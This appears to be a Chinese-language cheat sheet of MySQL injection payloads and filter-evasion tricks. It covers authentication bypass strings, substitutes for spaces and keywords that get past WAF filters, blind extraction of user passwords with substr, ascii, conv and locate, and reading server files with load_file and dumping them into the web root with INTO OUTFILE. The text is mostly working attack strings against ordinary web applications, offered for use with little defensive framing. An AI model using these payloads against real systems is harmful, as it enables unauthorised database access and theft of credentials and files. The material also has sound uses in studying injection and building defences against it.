MySQL注入技巧--不同语法替换

0x01 MYSQl灵活的语法


1 MySQL语法以及认证绕过

注释符:

    
        
  1. #,
  2. -- X ( X 为任意字符)
  3. /*( MySQL - 5.1 )
  4. ;% 00
  5. `
  6. 'or 1=1;%00
  7. ' or 1 = 1 union select 1 , 2 ` '
  8. ' or 1 = 1 #
  9. '/*!50000or*/ 1=1 -- - //版本号为5.1.38时只要小于50138
  10. ' /*! or */ 1 = 1 -- -

前缀:

      
  1. 任意混合 + - ~ !
  2. 'or --+2=- -!!!' 2
  3. 测试后发现 and / or 后面可以跟上偶数个!、~可以替代空格,也可以混合使用(混合后规律又不同), and / or 前的空格可以省略
  4. 'or- -!!!1=1;

运算符:

      
  1. ^, =, !=, %, /, *, &, &&, |, ||, <, >, <<, >>, >=, <=, <>, <=>, XOR , DIV , SOUNDS LIKE , RLIKE , REGEXP , IS , NOT , BETWEEN ,……
  2. 'or 1 rlike ' 1

空格替换:

      
  1. % 20 , % 09 , % 0a , % 0b , % 0c , % 0d , % a0

也可以插入括号,前缀,操作符,引号

      
  1. 'or+(1)sounds/**/like"1"--%a0-

字符串格式

      
  1. ' or "a"=' a '
  2. ' or 'a' = n 'a' // unicode
  3. ' or ' a '=b' 1100001 ' //binary
  4. ' or 'a' = _binary '1100001' // 5.5 . 41 下测试无效
  5. ' or ' a '=x' 61 ' //16进制

2、MySQL常用的一些小工具

常量:true, false, null, \N, current_timestamp....

变量:@myvar:=1

系统变量:@@version, @@datadir....

常用函数:version(), pi(), pow(), char(), substring()....

3、MySQL类型转换

    
        
  1. ' or 1=true #true=1, false=0
  2. ' or 1 #true
  3. ' or version()=5.5 #5.5.41-log
  4. ' or round ( pi (), 1 )+ true + true + 0.4 = version () #3.1+1+1+0.4
  5. select * from users where 'a' = 'b' = 'c'
  6. select * from users where ( 'a' = 'b' )= 'c'
  7. select * from users where ( false )= 'c'
  8. select * from users where ( 0 )= 'c'
  9. select * from users where ( 0 )= 0
  10. select * from users where true
  11. select * from users

以上的语句都是同样的效果

4、认证绕过

绕过语句:'='

      
  1. select data from users where name = "="
  2. select data from users where flase = "
  3. select data from users where 0 = 0

绕过语句:'-'

      
  1. select data from users where name = '' - ''
  2. select data from users where name = 0 - 0
  3. select data from users where 0 = 0

0x02 关键字过滤


空格

过滤代码/\s/

    
        
  1. % 20 , % 09 , % 0a , % 0b , % 0c , % 0d , % a0

关键字OR,AND

过滤代码/\sor\s/i,/\sand\s/i

    
        
  1. '||1=' 1 #or
  2. '='
  3. '&&1=' 1 #and

关键字union select

过滤代码/union\s+select/i

    
        
  1. 'and(true)like(false)union(select(pass)from(users))#
  2. ' union [ all | distinct ] select pass from users #
  3. 'union%a0select pass from users#
  4. ' union /*! select */ pass from users #
  5. / vuln . php ? id = 1 union /*& sort =*/ select pass from users -- -

如果单独过滤union,使用盲注来获取数据

    
        
  1. 'and(select pass from users limit 1)=' secret

通过子查询获取单值来进行比较

关键字limit

过滤代码/limit/i

    
        
  1. 'and(select pass from users where id=1)=' a
  2. 'and(select pass from users group by id having id=1)=' a
  3. 'and length((select pass from users having substr(pass,1,1)=' a '))

关键字having

过滤代码/having/i

      
  1. 'and(select substr(group_concat(pass),1,1)from users)=' a

关键字select ... from

过滤代码/SELECT\s+[A-Za-z.]+\s+FROM/i/i

    
        
  1. select [ all | distinct ] pass from users
  2. select ` table_name ` from ` information_schema ` . ` tables `
  3. select pass as alias from users
  4. select pass aliasalias from users
  5. select pass ` alias alias ` from users
  6. select + pass % a0from ( users )

关键字select

过滤代码/select/i

1 有文件读取权限

      
  1. ' and substr(load_file(' file '),locate(' DocumentRoot ',(load_file(' file ')))+ length ( 'DocumentRoot' ), 10 )= 'a' = '' into outfile '/var/www/dump.txt

2 获取列名

    
        
  1. ' and 列名 is not null#
  2. ' procedure analyse ()#

使用substr来做过滤条件

      
  1. 'and substr(pass,1,1)=' a

关键字select,and,&

'0#

      
  1. select data from users where name = '' - 0 # int typecast
  2. select data from users where name = 0 # int typecast
  3. select data from users where 0 = 0 # true

'-1#

      
  1. select data from users where 0 = - 1 # false

使用条件判断来进行true、false的选择

      
  1. ifnull ( nullif ()), case when if ()
  2. '-if(name=' Admin ',1,0)#

使用嵌套条件'-if(

      
  1. if ( name = 'Admin' , 1 , 0 ), // condition
  2. if ( substr ( pass , 1 , 1 )= 'a' , 1 , 0 ) // if true
  3. , 0 )# // if false

0x03 函数过滤


构建字符串相关函数

      
  1. unhex char hex ascii ord substr substring mid pad left right insert
  2. ' and substr(data,1,1) = ' a '#
  3. ' and substr ( data , 1 , 1 ) = 0x61 # 0x6162
  4. ' and substr ( data , 1 , 1 ) = unhex ( 61 )# unhex ( 6162 )
  5. ' and substr ( data , 1 , 1 ) = char ( 97 )# char ( 97 , 98 )
  6. ' and hex ( substr ( data , 1 , 1 )) = 61 #
  7. ' and ascii ( substr ( data , 1 , 1 )) = 97 #
  8. ' and ord(substr(data,1,1)) = 97#

使用conv来进行进制的转换

      
  1. ' and substr(data,1,1) = lower(conv(10,10,36))# ' a '
  2. ' and substr(data,1,1) = lower(conv(11,10,36))# ' b '
  3. ' and substr(data,1,1) = lower(conv(36,10,36))# ' z '

使用函数来猜解数据

      
  1. ' and substr(data,1,1) = ' a '#
  2. ' and substring(data,1,1) = ' a '#
  3. ' and mid(data,1,1) = ' a '#

不适用逗号来获取

      
  1. ' and substr(data from 1 for 1) = ' a '#

同样也可以使用一下比较少见的函数来尝试绕过

      
  1. lpad ( data , 1 , space ( 1 )) // lpad('hi',4,'?') = '??hi'
  2. rpad ( data , 1 , space ( 1 )) // rpad('hi',4,'?') = 'hi??'
  3. left ( data , 1 )
  4. reverse ( right ( reverse ( data ), 1 ))
  5. insert ( insert ( version (), 1 , 0 , space ( 0 )), 2 , 222 , space ( 0 ))

有些函数有类似搜索匹配的功能

    
        
  1. '-if(locate(' f ',data),1,0)#
  2. ' - if ( locate ( 'fo' , data ), 1 , 0 )#
  3. '-if(locate(' foo ',data),1,0)#
  4. instr(), position()

使用函数进行字符串的切割

      
  1. length ( trim ( leading 'a' FROM data )) # length will be shorter
  2. length ( replace ( data , 'a' , '' )) # length will be shorter

2种方式都是相同效果

0x04 注入时主要使用的一些东西


1个控制流程操作(select, case, if(), ...)
1个比较操作(=, like, mod(), ...)
1个字符串的猜解(mid(), left(), rpad(), …)
1个字符串生成(0x61, hex(), conv())

使用conv([10-36],10,36)可以实现所有字符的表示

      
  1. false ! pi () 0 ceil ( pi ()* pi ()) 10 A ceil (( pi ()+ pi ())* pi ()) 20 K
  2. true !! pi () 1 ceil ( pi ()* pi ())+ true 11 B ceil ( ceil ( pi ())* version ()) 21 L
  3. true + true 2 ceil ( pi ()+ pi ()+ version ()) 12 C ceil ( pi ()* ceil ( pi ()+ pi ())) 22 M
  4. floor ( pi ()) 3 floor ( pi ()* pi ()+ pi ()) 13 D ceil (( pi ()+ ceil ( pi ()))* pi ()) 23 N
  5. ceil ( pi ()) 4 ceil ( pi ()* pi ()+ pi ()) 14 E ceil ( pi ())* ceil ( version ()) 24 O
  6. floor ( version ()) 5 ceil ( pi ()* pi ()+ version ()) 15 F floor ( pi ()*( version ()+ pi ())) 25 P
  7. ceil ( version ()) 6 floor ( pi ()* version ()) 16 G floor ( version ()* version ()) 26 Q
  8. ceil ( pi ()+ pi ()) 7 ceil ( pi ()* version ()) 17 H ceil ( version ()* version ()) 27 R
  9. floor ( version ()+ pi ()) 8 ceil ( pi ()* version ())+ true 18 I ceil ( pi ()* pi ()* pi ()- pi ()) 28 S
  10. floor ( pi ()* pi ()) 9 floor (( pi ()+ pi ())* pi ()) 19 J floor ( pi ()* pi ()* floor ( pi ())) 29 T

更多详细的东西可以参考原文去了解,还有一些其他的注入资料可以参考

    
        
  1. http : //www.ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdf
  2. https : //media.blackhat.com/bh-us-12/Briefings/Ristic/BH_US_12_Ristic_Protocol_Level_Slides.pdf
  3. http : //www.blackhatlibrary.net/SQL_injection
  4. http : //websec.ca/kb/sql_injection